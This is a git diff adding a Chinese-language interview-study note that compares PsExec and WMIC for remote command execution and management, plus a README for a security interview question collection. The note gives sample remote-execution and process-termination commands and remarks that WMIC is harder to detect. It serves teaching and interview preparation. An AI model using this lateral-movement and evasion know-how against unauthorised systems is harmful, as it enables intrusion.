+1,64 @@ +### psexec 和 wmic 区别 + +**PsExec** + +**PsExec** 是 Sysinternals 套件中的一个工具,主要用于在远程计算机上 **执行** 进程。它通过 SMB 协议在远程系统上创建一个临时的服务(名为 `psexecsvc`)来运行你指定的命令,然后将命令的输出返回给你 + +**核心特点** + +- **功能**:在远程机器上以高权限(通常是 SYSTEM)执行命令或启动程序 +- **工作原理**: + 1. 连接到远程机器的 Admin$ 共享 + 2. 将 PsExec 客户端文件复制到 `Admin$\System32\psexec.exe`(或类似路径) + 3. 通过服务管理器(SCM)创建一个临时服务来执行命令 + 4. 命令执行完毕后,删除服务和客户端文件 +- **典型用途**: + - 在远程服务器上启动交互式命令提示符 (`PsExec \\remote-pc cmd`) + - 以 SYSTEM 权限运行程序 (`PsExec -s \\remote-pc `) + - 执行远程脚本或批处理文件。 + +**优点与缺点** + +- **优点**: + - **远程执行能力强**:能以高权限运行任何可执行文件或命令 + - **支持交互式会话**:可以打开一个远程命令提示符,就像在本地操作一样 + - **不依赖** PowerShell 或 WMI 的特定配置 +- **缺点**: + - **依赖文件共享**:需要 Admin$ 共享可用,且端口 445 必须开放 + - **可能被安全软件检测**:其工作方式(文件复制、创建服务)与一些恶意软件类似,可能被杀毒软件或 EDR 标记 + - **网络流量**:在执行过程中会产生一些网络流量 + +**WMIC** + +**WMIC** (Windows Management Instrumentation Command-line) 是一个命令行工具,用于与 **WMI** 框架进行交互。WMI 是一个内置于 Windows 的管理接口,提供了查询和管理几乎所有系统信息的标准化方法。WMIC 让你能够从命令行执行这些查询和操作 + +**核心特点** + +- **功能**:查询系统信息、执行管理任务。它不是用于直接执行远程可执行文件,而是通过 WMI 接口来管理系统 +- **工作原理**: + 1. 通过 DCOM 协议连接到远程机器的 WMI 服务 + 2. 向 WMI 存储库发送查询或命令请求 + 3. WMI 服务在远程机器上执行请求,并返回结果 +- **典型用途**: + - 查询系统信息:例如,查看远程机器的进程列表 (`wmic /node:"remote-pc" process list brief`)、服务状态、硬件信息、网络配置等 + - 执行管理任务:例如,终止远程进程 (`wmic /node:"remote-pc" process where name="calc.exe" call terminate`)、启动或停止服务、修改注册表项等 + +**优点与缺点** + +- **优点**: + - **系统内置**:是 Windows 的一部分,不需要额外下载或分发文件 + - **强大的查询能力**:能够通过 `WHERE` 语句进行复杂的过滤,查询各种系统对象 + - **隐蔽性好**:工作在 WMI 协议层,不会像 PsExec 那样创建临时服务或复制文件,因此更难被检测 +- **缺点**: + - **命令复杂**:语法相对复杂,需要熟悉 WMI 的类和别名 + - **功能限制**:虽然可以执行任务,但不能像 PsExec 那样灵活地运行任意的本地程序 + - **依赖**:需要远程 WMI 服务开启且 DCOM 端口(通常是 135/TCP)可用 + +| 特性 | PsExec | WMIC | +| ---- | ------------------------------------ | ------------------------------------------ | +| 用途 | 远程执行命令和程序 | 远程查询和管理系统信息 | +| 原理 | 远程创建服务,运行可执行文件 | 通过 WMI 接口发送管理命令 | +| 协议 | SMB (TCP 445) | DCOM (TCP 135) | +| 优势 | 远程执行能力强、支持交互式会话 | 系统内置、强大的查询过滤、隐蔽性好 | +| 缺点 | 需要文件共享、可能被检测、会产生文件 | 语法复杂、功能限于 WMI 框架内的操作 | +| 场景 | 当你需要在远程机器上启动一个程序时 | 当你需要查询远程机器的状态或执行管理任务时 | \ No newline at end of file diff --git a/Chapter15/README.md b/Chapter15/README.md index 8b13789..9eecb4f 100644 --- a/Chapter15/README.md +++ b/Chapter15/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字